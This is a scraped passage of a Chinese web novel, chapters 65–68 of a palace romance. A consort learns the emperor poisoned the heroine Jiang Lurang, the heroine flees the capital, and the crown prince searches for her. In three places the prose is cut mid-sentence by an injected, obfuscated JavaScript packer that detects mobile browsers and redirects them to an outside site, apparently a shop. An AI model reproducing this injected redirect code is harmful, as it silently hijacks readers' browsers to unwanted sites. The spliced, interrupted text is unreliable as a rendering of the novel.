冬竹立刻吐了吐舌头:“我错了,姑娘。” 她心中并没有觉得自己错了,反正她是在给自家姑娘鸣不平,被姑娘数落了自然也是没什么的。 冬竹才抱怨完自己家姑娘的事情,次日就听明轩阁的宫人说江姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252744|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见了。 不见了? 宫中谁人不知那位江姑娘可是殿下心尖子上的人,平日里看的跟个眼珠子似的,宝贝的很。 如何会不见了? 她走近两步,静静跟在明轩阁的宫人身后,完整地听着那两人的对话。 “听说出宫采办那日江姑娘办成翠竹出宫去了,从那日起就再也没有回来过。” “眼看殿下就要急死了,可是怎么办,这来往的人都找了几波,就是找不着江姑娘的人,你说奇怪不奇怪?” “江姑娘,是不是因为殿下最近和孟姑娘走的太近了,所以才会出宫的?” “可没有简单。” “如何不简单了?” 左侧的宫女悄悄靠近右侧的宫女:“我从陛下身边的内侍那里探听到的消息,说是陛下给江姑娘下了毒,辟殿下必须和孟姑娘亲近,殿下才会给江姑娘的解药。” “听说那毒厉害的很,就连殿下特意寻来的神医都治不好呢。” “可是这件事你是怎么知道的?” “当然是,陛下身边的内侍心悦于我,才会告知我啊,我只跟你一个人说,你可千万不要告诉旁人。” 冬竹静悄悄跟在她们身后,将她们之间的对话全部听了进去。 她实在是不明白,明明左侧这个宫人声音这么大,为何还要靠近说。 她本来是当一个八卦听的,但是谁知这个事情里竟然还有自己家姑娘。 若是被姑娘知道,殿下是因为解药,迫不得已才去自己姑娘那里,那姑娘岂不是要伤心死了。 这件事千万不能被自己家姑娘知道。 冬竹攥紧了手中的托盘。 忽然就听闻身后有个物品重重落地的声音,冬竹立刻回头看去。 一回头就看到自己家姑娘失魂落魄,不可置信地站在后面,地上是掉落的药碗,已经碎成了一片一片。 冬竹立刻就奔过去:“姑娘,你没事吧?有没有伤到你?” 孟青霜很快反应过来,不可置信地呢喃:“她们说的都是真的?” 那两个宫人回头一看到孟姑娘就知道自己闯了大祸,立刻转身就逃也似的离开了。 冬竹心中也是忐忑不安,明明最不希望自己家姑娘知道此事,可是偏偏此刻就让她知道了,这可如何是好。 原来殿下这些时日一直来自己的殿中,都是因为江姑娘身重剧毒,无药可救,殿下他是迫于无奈,才来自己这里的? 她曾经以为殿下或多或少对自己会有一点真情,但是谁知,殿下他是出于无奈,更是为了那位江姑娘。 孟青霜有些难以接受,她一向高傲,可是此时她无论如何也接受不了这个事实。 她必须要问个清楚,问殿下吗?他即使知道事情的始末也不会告诉自己的,那就只能去问陛下。 孟青霜攥紧了手心,疼痛让她清醒了几分。 去问陛下,陛下会不会一生气就降罪自己和孟家。 不,不会的,陛下对朝堂之事一向严明,应当不会对自己和孟家如此严厉。 她想要的,不过是一个真相而已。 * 看着孟青霜决绝前往明光殿的身影,冬竹牢牢跟在他身后,对着她道:“姑娘,那可是陛下啊,咱们可招惹不起这尊大佛,到时陛下降罪于孟家怎么办,姑娘,咱们还是回去吧。” 孟青霜脚步越发坚定:“陛下不会降罪于孟家的。” 因为殿下是个赏罚分明,明辨是非的人。 她相信殿下的父亲也会是这样的一个人。 所以,她才不害怕。 青奚帝静静看着面前的孟青霜:“孟姑娘,你可知你方才问了朕一些什么话?” 语气平静,但里面有明显的威压。 青奚帝身边的内侍已经紧张地落下汗来,他明明让人保守秘密,这件事究竟是谁泄露出去的。 总不能...不能是自己吧? 不可能,一定不会是自己先泄露。 孟青霜视线直直于久居高位之上的人对视,眼神清澈,不退不避。 “请问陛下是否给江姑娘用了毒?” 她这已经是第二遍问青奚帝。 其实这样的问话当真是荒唐至极,她对面的人可是大胤最尊贵的帝王,整个天下说一不二的人,即使今日他想要她的性命也是可以拿走的。 而她就这样直白地揭开了皇室的秘辛。 一点掩饰的意味都没有。 内侍早已汗如雨下,不知道最近是怎么了,先是太子殿下跟陛下过不去,现在连带着孟姑娘也跟陛下过不去。 起因都是因为那位江姑娘。 那位传闻中的江姑娘,也是个了不起的人啊。 青奚帝转了转拇指上的玉扳指:“你说的对,朕就是对她用了毒。” 他本来可以有无数种方法可以逃避这个说辞,可是今日他却一点也不想说谎,尤其对面还有那样一双明亮清澈的眼眸。 让他想到阿芷。 孟青霜缓了缓,又继续问道:“那殿下也是被逼着才去的披香殿吗?” 青奚帝沉吟片刻,最终还是回答了她:“是。” 孟青霜眼里的光亮瞬间熄灭了。 半晌后,她静静道:“臣女自请出宫,还请陛下成全。” 青奚帝静静看她片刻:“你当真想好了?你可知你放弃的是什么?” 孟青霜丝毫犹豫也无:“回陛下,臣女想好了,至于陛下想给臣女的,从来就不是属于臣女自己的东西,臣女也无意再强求。” 是她的,就是她的。 不是她的,无论如何,也抢不来。 如果自己离开,殿下是否会开心一点呢? 她能为他做的,也只有这么多了。 66. 第 66 章 青奚帝望着孟青霜决绝的眉眼,眼神带着难以置信,这还是他第一次遇见有人碰上这样的破天富贵不要,不要以为自己重用孟家,就会纵容她如此任性妄为。 “你可知你自己在说些什么?” 孟青霜仍旧对着青奚帝的眼神,没有任何地退让。 “回陛下,臣女非常清晰地知道自己在说些什么。” “臣女自请出宫。” 孟青霜的声音一字一句落在殿内,掷地有声。 青奚帝闭了闭眼睛,不对,他曾经也是见过的,抛财富于不顾的女子,那不就是阿芷吗? 今日这位胆大妄为的孟姑娘再次让自己想到阿芷。 青奚帝转了转手中的玉扳指,玉扳指处传来阵阵凉意。 他自以为这次的事情安排的很好,但为何结局仍旧变成了这样,难道又是自己做错了吗? 阿芷? 青奚帝几乎是在一瞬间老了很多岁,连面色看上去都有些沧桑了。 殿内安静了好久,无人敢开口说话。 青奚帝再次开口的时候,声音中带着沧桑,也带着对你们奈何不了的语气,缓慢而沉重地道:“罢了,就遂了你们的心意吧。” 反正如今他的年纪也是大了,自然管不得年轻人的想法了。 而这天下,终究会是这帮年轻人的。 自己插手,反而会弄巧成拙,多此一举。 这时,青奚帝才看到脑海中的阿芷对着自己笑了。 那是很久以来阿芷第一次对自己露出这般笑意。 看来,阿芷终于原谅自己了。 等到日后相遇的时候,他也就有理由堂而皇之去见阿芷了。 如此说来,还要感谢这位孟姑娘。 “你出宫去吧,朕不会对孟家怎么样的。你们年轻人之间的事,朕日后也不会再插手了。” 说完后,就让孟青霜离开了,面上带着无比的疲累,一侧的内侍很快递上去一杯热茶。 孟青霜离开那日是个初夏,阳光很是明艳,照耀在一边的芙蕖花上。 “姑娘,不去最后看一眼殿下吗?” 孟青霜看着御花园热烈盛开的芙蕖花,轻轻摇了摇头。 既然,她和殿下本来就没有缘分,离开之际又何必再去劳烦殿下呢? 实在是,没有这个必要。 在经历了七公主出降,孟青霜离开之后,披香殿重新归于寂静。 在孟青霜与青奚帝说开的那日,青奚帝就将江露染的解药送到了谢知寒手中。 那是一枚普普通通的褐色的药丸。 却让她的晓晓从此不见了。 本来不应该是这样的。 谢知寒握紧了手心的药丸,晓晓,无论走到哪里,我都会找到你的。 * 江露染出宫以后,就猜到谢知寒会派人来找自己。 殿下的守卫那么多,要逃避过去实在不是一件容易的事情。 眼下最要紧的就是找一个地方先躲起来,让看见她的人越少越好。 眼看夜深了,她还没有找到去处心中不免有些着急。 这时,卖包子的婆婆看着江露染无家可归的模样,对着她问:“小姑娘,你是不是没有地方住?可以到婆婆这里来。” 江露染抬头看了一眼婆婆,婆婆年纪有些大了,满头银丝。 看上去很是亲切。 婆婆担心江露染认为自己是坏人,对着她解释:“小姑娘,我可不是坏人,你看我这里的证件都齐全着呢。” 说着,回屋拿了官府给她办的各种证件。 江露染鼻尖弥漫出涩意,有点想哭,但很快有抑制住了。 婆婆是个好人,不能让她担心自己。 “多谢婆婆。” 婆婆向她怀中塞了两个包子,对着她道:“小姑娘,别哭了,谁还没有个困难的时候。” “你的家人呢?” 江露染拿着包子的白皙的手指微微蜷起,停顿了一会儿才缓缓道:“婆婆,我没有家人了。” 婆婆没有再说什么,只是看着江露染的眼神又多了几分怜爱。 婆婆带着江露染去了自己的小屋,就在包子铺的后面。 婆婆的家里非常干净,靠近窗台的地方摆了几束鲜花。 “婆婆,这里只有你自己一个人住吗?” 这些被子和用具都是一个人的东西。 “婆婆和你一样,只剩下一个人了,十年前那场洪水,老婆子我,就没有家人了,家人都被洪水冲散了。” “对不起,婆婆。”她不该问婆婆这件事的。 徒惹婆婆伤心。 “这有什么对不起的,我不是一样问了你,刚好,你是自己一个人,我也是自己一个人,咱们俩凑在一起不就是两个人了吗?” “这样,咱们俩不就都不孤单了吗?” 婆婆说的好像也有道理。 江露染白日里就在后面帮着婆婆蒸包子,晚上陪着婆婆一起聊天看星星。 婆婆消息有些蔽塞,甚至还是在卖包子的顾客那里得知的。 说是宫中似乎是丢了一位很重要的人。 近日里好多侍卫前来寻找,她看了看画像上的人,怎么感觉和小姑娘长的很像呢? 许是自己年纪大了,眼花看错了。 不过,婆婆还是问了江露染,万一那是小姑娘许久未见的家人呢? “小姑娘,我看外面好多人在找人,那张画像我瞧着和你很像呀,莫不是你的家人在寻你?” 江露染沉默片刻,还是决定对婆婆说实话。 “婆婆,他们...应当就是来寻我的。” “那你为何不回家?” 江露染再次沉默,空气中是这几日难得的寂静。 “可是...婆婆,我不想回去,那个家中已经没有我的位置了。” 或许,从头到尾就是没有的。 是她自己过于天真了。 看着一向开朗的小姑娘露出如此模样,婆婆就能猜到大概发生了什么事。 “他们对你不好?” “不,他们对我很好,只是,从一开始,那里就不应该是我去的地方,是我自己异想天开。” 婆婆似乎明白了什么。 “你不想回去就不回去,婆婆这里你可以永远住着,我很喜欢你呢。” 婆婆如此说着。 她还是真的喜欢这个小姑娘,倒真的希望小姑娘可以自己这里长长久久地住下去。 是以,婆婆就隐瞒了江露染在自己这里的事实。 那晚正值夜色降临,几乎没有人注意到这里。 那些来了一波又一波的守卫最终也没有找到江露染。 这是江露染在婆婆这里的第十二天,京城中寻人的守卫早就已经不再寻人,京中也早就和寻常一样安静了下来。 婆婆看着小姑娘安静的眉眼,突然非常好奇:“小姑娘可否婚配,我有一个远房侄子,人特别好,就是有一点,不在京城,远在江南,你要是想,我可以让他过来相看一番。” 听明白婆婆的意思,江露染漂亮的眉眼更加平静,思虑片刻,她对着婆婆道:“不用了婆婆,等到再过几日,京中彻底无事,我就会离开这里了。” 婆婆一惊,连方才说的相看侄子一事也忘记了。 “离开?你一个弱女子,能走到哪里去?听老婆子一句劝,还是呆在老婆子这里罢。” 她可不是什么弱女子。 江露染在心中有些不赞同婆婆说的话,她可不是什么弱女子,她可是跟着殿下学了好久的武功,她会非常厉害的剑术。 且离开的时候还带走了风华,那是她唯一在东宫拿走的物品。 一想到东宫,江露染神色瞬间黯淡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262362|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,不知晓殿下此时在做些什么,想必一定和孟姑娘在一起了。 没有自己横在她们之间,想必他们一定可以相处的很好。 江露染缓缓垂下了头,片刻后才抬起。 没关系吗,即使不在殿下身边,她也可以活的很好。 她就像是一根坚韧的小草,走到哪里都能茁壮的成长,对于将来,她可是什么都不怕的。 婆婆看到她面上坚定的神色,知晓她是下定了决心。 轻叹一声,看来她是留不住这个姑娘了。 “你哪日离开,跟婆婆说一声,婆婆给你带好多好吃的包子当做粮食。” 江露染看着婆婆,慢慢红了眼圈:“多谢婆婆。” 江露染离开前两日还换了衣服,乔装打扮去看了守卫城门的兵卫。 非常不巧的是,她远远看到了南风守在那里。 江露染害怕被南风认出来,就只看了一眼就离开了。 回去之后苦苦思索,守城门的竟然是南风,南风对自己那么熟悉,她要如何才能出城。 看来殿下他还没有消气。 江露染一副苦苦思索的模样,婆婆一看就猜到她心中在想些什么。 “丫头,可需要婆婆我帮你?” “...婆婆?” “明日会有一批商队出城,我往日里与他们关系还不错,明日你就装扮成我的孙女,躲在他们出城运货物的箱子里,这样,你就可以顺利出城了。” “不要感谢我。”婆婆看着江露染感动到无以复加的模样,对着她道:“这些日子你也让老婆子我感受到了快乐,这些是用多少钱也买不来的。” 婆婆对着江露染道。 晚上,婆婆将一大包包裹交给江露染:“小姑娘,这里面都是我早就准备好的干粮和水,还有一份我之前家人留下的出城文件。” 江露染接过,口中感谢无比:“多谢婆婆。” 如果将来有机会,她一定会加倍报答婆婆。 她从来说到做到。 明日,出城的商队果然来了,江露染在婆婆的帮助下,躲在了运送货物的箱子中。 城门前。 南风看着这一队商队,细细检查了他们做生意的各种文件和证明。 眼看就要出城去,南风突然出声:“停!” 他手中的刀柄逐渐前移,一个个打开了箱子,里面放的果然都是交易用的香料和药材,再无其他。 可南风还是觉得怪怪的,说不上来的感觉,他感觉江露染就在这里。 眼看就要刀柄就要移动到江露染藏身的箱子上,这时,远处突然传来了一声侍卫的喊声:“大人,那里好像了一走失女子!” 南风听闻,立即将刀柄收回,急急向着侍卫呼唤的地方去了。 商队这才顺利地离开京城。 到了距离京城很远的地方,江露染才从商队的箱子中出来。 “多谢各位。” 带队的人:“不敢担下姑娘的谢意,我们曾经也受到婆婆不少的帮助如今这点小忙还是帮的起的。” “不过,”他四处看了看:“姑娘想要出门游历,可一定要保护好自己。” 再次道谢之后,江露染看着商队离开了。 她再次回头看了一眼远在身后的京城,这次,她是真的离开了。 殿下,这下我们或许是再也不会相见了。 天高水长,就让我们忘掉过去,重新开始吧。 南风看了一眼面前的女子,不是江露染,他难掩面上的失望,殿下一直在寻找江姑娘的下落,眼看这都快要一个月了,还是寻不到江姑娘的任何下落。 南风深深感到自己好无用,连这点小事都帮不上殿下。 他脑海中逐渐想起方才过去的那只商队,奇怪的感觉升腾起来。 他总觉得,江露染就在方才过去的商队之中。 67. 第 67 章 江露染看着远去的商队,拿着包裹的手指紧了紧,这时她才彻底意识到,自己是真的孤身一人了。 不过这也没什么特别害怕的,毕竟自己以前也是这样的。 江露染在天色彻底暗下来之前找到了一家客栈,用自己攒的钱给自己订了一间上房。 就这样安歇了下来。 * 南风隐隐感觉到不对,立即去禀告了谢知寒。 “殿下,属下总觉得那只商队不对劲,或许江姑娘就在那只商队之中。” 南风禀报完之后就出去了,殿中只余下谢知寒一个人。 殿中焚香袅袅,香炉中的袅袅白烟缓缓上升。 这是晓晓最喜欢的熏香,可是如今,焚香依旧,人却已经离开。 谢知寒凝神望着熏香,耳边回荡着南风方才的话。 “江姑娘或许就藏在那只商队之中。” 晓晓,你会在那里吗? 不管有没有,又或者是在其他的哪个地方,我都会找到你。 等我,晓晓。 南风立即开始搜寻那只商队的所有信息。 只为寻到江露染。 * 次日醒来是一个无比晴朗的艳阳天,江露染望了望远方的天色,遥遥对着东宫的方向道一句:“再见了,殿下。” 而后打开包裹中的路书,对着路线仔细研究起来。 自己身上还有一些钱,接下来要去哪里呢? 回曲洲?不行,殿下或许会找过来。 不去曲洲,那去哪里呢? 江露染视线逐渐移到比曲洲还要往南的宿州,以前父母总是说过,宿州风景很好,春夏总是很温暖,夏天的花总是开的特别好,那里还有不少清澈的溪水,非常美丽。 可惜,父母还没有去过宿州,就离开了自己。 那这次自己这次倒是可以去宿州。 就当为爹爹娘亲看看那里的美丽景色。 江露染下定决心,就立刻开启去往宿州的道路。 江露染乘水路一路抵达宿州,她本人很活泼灵动,船上的人都很喜欢她。 到了宿州,船上的人还有的给她送食物。 江路染病抱着满满一怀的食物抵达宿州。 这里距离京城真的非常遥远,殿下一定想不到她来了这里,那么一定也寻不到她的人,她就可以高枕无忧了。 这下,是真的和殿下遥遥不复见了。 祝愿他和孟姑娘安好。 无论怎样,都祝他好。 江露染抱紧怀中的小包裹,头也不回的向前走去。 身上的钱已经剩的不多,一定要给自己在找一份其他的事情做。 江露染决定重操旧业,去了一家馆子做学徒。 这家馆子的主人是一对中年夫妻,刚巧馆子中缺一个人帮忙。 江露染看上去机灵可爱,就选了她来做自己店铺的学徒。 江露染在这里待了十几日,发现这家铺子对自己也很好,于是对铺子更加尽职尽责。 这家店铺的主人也愈发喜欢她。 她好像有一种走到哪里都会被人喜欢的本领。 这日,铺子的主人看着江露染平静而姣好的侧脸,突然好奇:“江姑娘,你有没有说定亲事啊?若是没有,我这里倒是有一个合适的人选。” 江露染想也不想就拒绝她:“不用了,阿姨,我有心上人。” 说完这话,江露染一愣,她这话说的不对,应该是,我曾经有心上人。 殿下如今和孟姑娘应该正在商量婚事,而自己其实不应该在想念他。 江露染低头笑了笑,而后对着阿姨道:“阿姨,我方才说错了,我现在已经没有心上人了。” 店铺的阿姨也是过来人,怎么会不明白江露染此时的想法。 想必是为上一段感情伤透了心,既然如此,就不应该提起小姑娘的伤心事,方才是自己不好。 但是此时偏偏就有人想继续问下去。 “江姑娘,那你为何和你心上人分开呢?” 阿姨暗暗向问话那人递过去一个凶狠的眼神,可是已经晚了。 江露染已经听到了。 她低头沉默片刻,想了想道:“分开了,就是分开了,没有为什么。” 声音越发低了下去。 阿姨见状,立刻打起了圆场。 “他胡说,你千万别往心里去。” 说着,揽着江露染的肩走到二楼:“你快帮我看看,这里需要放哪一味调料?” 江露染指了一味调料,而后想,既然殿下此时有了其他人,那她为什么不可以重新开始呢? 她如今已经彻底离开京城,与他从此以后再也没有半分瓜葛,如今这副不开心的模样是给谁看呢? 反正,她也不需要。 她的当务之急,就是尽快忘掉他,然后重新开始自己新的人生。 “阿姨,如何尽快忘掉一个人呢?” 阿姨听到她这般问,脸上立刻浮现出喜色,小姑娘这是想开了呀。 “如果想要忘掉一个人,那自然就是赶紧开始下一段感情,而且要开始一段很好的感情,这样时间和情谊就会自动帮你忘记让你不开心的那个人。” “说起来,我还有个表弟人非常不错,如今也已经到了婚配之年,小姑娘你要不要考虑一下?” 江露染仔细思考了片刻,对着阿姨点了点头。 反正是需要重新开始,忘记之前在京城的一切,那就不如早点开始。 这样,大家都能开始新生活。 眼看江露染同意了,阿姨喜不自胜,想着明日就让两人见面,江露染这个姑娘真的聪明又善良,她真的非常喜欢,早就想与她成为一家人。 表弟见了也一定是非常喜欢的。 “那我约你们两个明日见面如何?” 江露染再次认真地点了点头。 阿姨将二人会面地点约在了一个非常清雅的酒楼。 在三楼靠窗的位置,往下看就可以直接看到外面潺潺溪水的模样,和外面街道人来人往的热闹模样。 江露染到的时候,沈昱已经等在那里了。 “不好意思,沈公子,是我来迟了,劳烦沈公子等我。” 可是自己已经早来了一刻钟,沈公子竟然比自己来的还要早,他究竟是何时来的。 沈昱一看到江露染,脸侧就微红了。 对着江露染清浅道:“江姑娘无需自责,是我来早了。” 江露染对着沈昱微微一笑,毕竟还是自己来晚了,还是要跟沈公子表示歉意的。 而沈昱看到江露染的笑容之后,脸侧更加红了。 阿姨让自己过来之时,并没有想到这位江姑娘竟然拥有如此绝美的容貌,说她是天上的仙子也不为过。 仅仅是看上一眼就让自己心神动摇,阿姨到底是从何处寻来这样的一位姑娘。 为了赔罪,江露染为沈昱添了一杯茶,沈昱受宠若惊地接过,眼神中的惊艳之色仍旧存在。 “初次见面,就晚来如此之久,还望沈公子不要怪罪。” 沈昱缓缓饮着手中的茶水,心里竟然第一次有了一种舍不得将茶水喝完的感觉。 袅袅茶香中好似还可以闻到面前少女身上的清甜香味。 沈昱觉得自己有些醉了。 他呆呆地望着少女,看着眼前少女粉嫩的唇瓣缓慢地开合,他甚至已经完全听不到她究竟在说些什么。 只是远远地向她望上一眼,就已经感觉到无比幸福。 阿姨之前还跟他说过,江姑娘是从远方来的孤女,让他务必小心对待,其实,即便阿姨不说,他自己也是不敢唐突了佳人的。 * 皇宫,明光殿。 青奚帝手中紧紧握着一方碧玉镯子,那是阿芷生前最喜欢的一枚镯子,如今镯子还好端端地在自己手里,可是她的人却已经不在了。 阿芷,如果你还在,如今会怎么做呢? 想到孟青霜决绝离开的模样,面上不带丝毫留恋,也没有对自己的害怕。 青奚帝面上也染上了茫然,手指愈发捏紧了手中的镯子,直到指节都开始发白。 再想到谢知寒这几日都没来见自己,甚至连自己的召唤都无动于衷,好似眼里根本就没有自己这个父皇。 青奚帝眼眸中的郁色越发浓重起来,阿芷,难道我真的做错了吗? 我只是想为我们的孩子好,为他选一门大好的婚事,难道这样不对吗? 父母之命媒妁之言,不论民间还是宫中不都是如此吗? 可是为何孟青霜和谢知寒都不怎么接受这个事情。 阿芷,如果你在我身边事情是不是就发生成这样。 青奚帝忽而又想到,他心心念念的阿芷是因为自己而死的,眼神中立即又染上了一层难以言喻的悲伤。 他此时才意识到,自己是个罪人,他辜负了阿芷,又愧对了谢知寒。 就连谢衡和李贵妃,他也没能好好对待。 想到谢知寒离开的身影,青奚帝此时才明白过来,谢知寒眼神是一种明显的失望。 可是,那个时候的自己怎么没能看出来呢? 那夜以后,青奚帝就换了重病,躺在殿中无法起身。 谢知寒是太子殿下,就是大胤未来的储君,政事自然而然就落到了他身上。 谢知寒白日里处理政事,晚上就听南风汇报调查商队的事情,瞬间就变得非常忙碌。 这日,南风面上带了喜色,谢知寒朝他那里看了一眼,眼神中询问的意思很是明显。 他的指尖微微颤动,不得不说,他自己心中也带了期待。 不过也没关系,如果这次还是没有晓晓的消息,待他将宫中的事情全部处理妥当,他会亲自出宫寻人。 无论她走到哪里,他都会找到她,将解药喂给她。 并且,带她回家。 她如今只不过是小小地走失了,而已。 “殿下,查到江姑娘的下落了,果然那日就躲在那只商队里。” 谢知寒握着毛笔的指尖一顿,但很快就恢复过来。 深色的墨汁顺着笔尖滑落到宣纸上,氤氲出墨色的圆。 南风将调查的事情悉数告知了谢知寒,谢知寒这几日因为连轴转的神色,终于在此刻松动下来。 “不过商队的领队说,他们只带着江姑娘到了南边的树林,再之后的事情他们就不知晓了,殿下若是想知晓,就得去城西去问一个卖包子的婆婆。” 谢知寒视线微微一动,很快将手中笔放下,快速拿起放置在一旁的大氅,一副立刻就要出宫的模样。 南风一愣,殿下这是现在就要去寻那位卖包子的婆婆? 可是,宫中还有其他的事情等着殿下去做,此时就出去是不是有点太草率了。 “殿下,不若将宫中的事情处理完再去寻人。”南风冷静地劝道,其实在殿下身边当值,他很少有过冷静的时候,不过此时看来,殿下已经完全失控了。 而自己,被迫在此时需要冷静起来。 谢知寒却对南风的劝诫恍若未闻,仍旧披了衣裳快速走出殿外,对着南风交代:“无妨,宫中还有李少卿。” 不消片刻,谢知寒就骑着一匹快马到了城西,很容易就找到了南风口中卖包子的婆婆。 她的头发已经白了,但是却在人群之中,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272477|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笑的最开心的那个。 谢知寒一眼就感觉到晓晓应当是与这位婆婆有过接触。 他快速走到婆婆身边,对着婆婆问道:“请问这里前几日是不是来过一位姑娘?” 此时天色渐晚,婆婆本打算收摊,却看着一位身姿清隽,容貌不俗的郎君向这里走来,这么好看的小郎君来买自己的包子,那她自然是要等一等的。 然而,这位姿容不凡的郎君开口就是,这里曾经有没有来过一位姑娘? 婆婆立刻就知道他问的人是谁,只是,面前这人的身份她都不知道是谁,如何能将小姑娘的信息告诉他。 如果他是坏人,要害小姑娘怎么办? “没有,公子说的谁,老婆子这里从来不曾有过一位什么姑娘?公子怕是听错了吧?” 说着,就将蒸笼里的包子收拾起来,准备回去了。 谢知寒一看婆婆很快就要离开的模样,他有些心浮气躁,明明答案就在眼前,可是婆婆偏偏不让自己知道。 他又不能直接告知婆婆自己的身份,若是知晓了他的身份,想必婆婆就更加不会告诉自己,晓晓如今去了哪里。 谢知寒被逼无奈,只好对着婆婆道:“我是...她的夫君,婆婆可以告诉我的妻子,如今去了哪里吗?” 婆婆收拾蒸笼的手指一顿,夫妻吵架,倒是想了一个绝好的理由。 可惜,小姑娘从未与自己说过曾经成婚的事情,想必,这位郎君口中所说的夫君也是假的。 不过,就是为了想要从自己这里骗走小姑娘的下落。 婆婆立刻反应过来,继续收拾剩余的包子,语气毫不客气。 “可是,小姑娘从未与老婆子我说过她有夫君,郎君何出此言?” 谢知寒身侧的指尖蜷起,晓晓...她竟然没有与任何人说起这件事吗? 心中逐渐传来酸涩,这种不好受的滋味逐渐传遍了全身。 但他面上神情仍旧淡淡,将自己心中的不适感很快就压了下去。 而后,语气淡淡,像是春日的雨丝,带着沁人的凉意。 “婆婆既然如此说,那就是见过晓晓的意思了?” 婆婆此时才反应过来,明白自己是说漏嘴了,面上显露出颓败。 谢知寒步步紧逼,没有给婆婆留下任何思考的机会。 “既然婆婆见过在下的妻子,还请婆婆告知在下妻子,如今到底去了何处?” 他的问话来的很快,让婆婆有些难以招架。 晓晓? 小姑娘从未跟自己说过她还有这个名字。 “你说你是她的夫君,用什么证明,若是你是坏人,是来骗我的怎么办?” 谢知寒看了婆婆一眼,立即抽出身侧的风华。 锋利的剑刃在他皮肤上很快就留下一个清晰的伤口,晓晓此时还没有与他成婚,他也的确拿不出任何文纸来证明他们是夫妻。 但他有一颗甘愿为自己娘子去死的心。 如果婆婆不愿意相信,那他今日也死而无憾。 他是想着她而死的,那么即便此时晓晓,远在千里之外,也是可以感觉到的吧。 即便她有一点点的心痛,那他便心满意足了。 婆婆看着那锋利的剑刃在俊俏郎君身上留下一道血迹斑斑的伤口,瞬间不忍再看。 她突然想到,小姑娘总是望着东边的方向,那是皇宫的方向。 “停下吧,小郎君。你快告诉我,你居住在哪里?” 若是回答的不对,那她就立刻转身离开,再也不理这个莫名其妙而来的郎君。 听到这个问题,谢知寒眼神中瞬间带了一丝黯淡。 但仍旧还是回答了婆婆的问题。 “在皇宫。” 婆婆这才抬起头来看,看到方才还焦急的郎君,眼神中带了明显的死意。 “小郎君,你别着急,你若是寻找妻子,我可以将小姑娘的事告诉你,但是你可千万不能伤害她,你可要对天发誓。” 眼看谢知寒将自己嘱托的事情全部照做,婆婆这才将江露染的事情告诉了他。 “这就是小姑娘的事情,不过具体小姑娘在哪里,我也是真的不知道,这个还需要郎君你自己去寻找。” 谢知寒眸中神色立刻黯淡下来,就连这位救过晓晓的婆婆,也不知晓她去了哪里吗? 晓晓,对自己真是...太狠心了。 连一点线索都不留给他。 谢知寒还是认真告别了婆婆,婆婆看着他翻身上马离开,心中想的全是,怎么办,我好想有点对不起小姑娘。 明明答应她不将她的事告诉任何人的。 可是方才那位郎君眼神中透露出的死意真是吓到她了。 就好像她不说,他就会立刻不留一丝遗憾地离开人间。 婆婆就在赌,这样真挚的情谊是不会骗人的。 但愿,上天不会欺骗自己。 更愿,有情人能够终成眷属。 次日,婆婆刚一睁开眼睛就看到了很多珍宝,铺陈在自己面前。 屋门外还有两个侍卫,看到她醒来就向她解释:“这是太子殿下送来的,殿下希望婆婆收下它们。” 太子殿下? 昨日那个在自己面前口口声声说要寻娘子的俊俏郎君,竟然是大胤的太子殿下。 那小姑娘,岂不是就是太子妃,也就是将来的皇后。 婆婆登时晕了过去。 她也没想到,将来的皇后不好好在宫中待着,竟然会跑到自己这里来啊。 她还让小姑娘任自己做亲戚,她究竟是有多大的胆子敢与未来的国母论资排辈。 小姑娘,你怎么也不早说一声啊! 68. 第 68 章 谢知寒回了东宫,殿内正燃着袅袅的熏香,味道与江露染身上的一模一样。 谢知寒拿出纸笔,细细想着江露染会去向何处。 去往曲洲的人如今没有一点消息,晓晓应当不是去了曲洲。 如果不是曲洲,那么晓晓会去向哪里呢? 谢知寒视线在地图上缓缓下移,视线凝结在一个个简短的地名之中。 这么多的地方,晓晓你,究竟在哪里呢? 他的指尖握着手中的笔,很久都没有移动。 夜色已经很深了,天上的月亮逐渐爬了上来,为大地染上一片清辉。 谢知寒眼前的地图已经被他圈圈点点,各处有可能的地方都被他做上了标记。 入眼一片斑驳。 天下之大,他总会找到他的晓晓。 除了处理政事之外,谢知寒之后会做的事情就是寻找晓晓。 南风看着殿内几乎彻夜不灭的烛火,眼中充满了担忧,殿下这种模样已经有些时日了,可是眼见还是没有寻到江姑娘,难道一日找不到人,殿下就一日不睡觉吗? 这样可是会把身体拖垮的。 殿下他身后还有整个家国,这样下去可是万万不行的。 但自己已经劝过无数遍,殿下他是一点也没听。 可见殿下早就将自己的话当做了耳边风。 南风突然想到王神医,神医如今在自己殿中乐得逍遥自在,连同菘蓝也整日无所事事。 如今正到了殿下需要他们的时候,他怎么可以将他们二人忘记了呢? 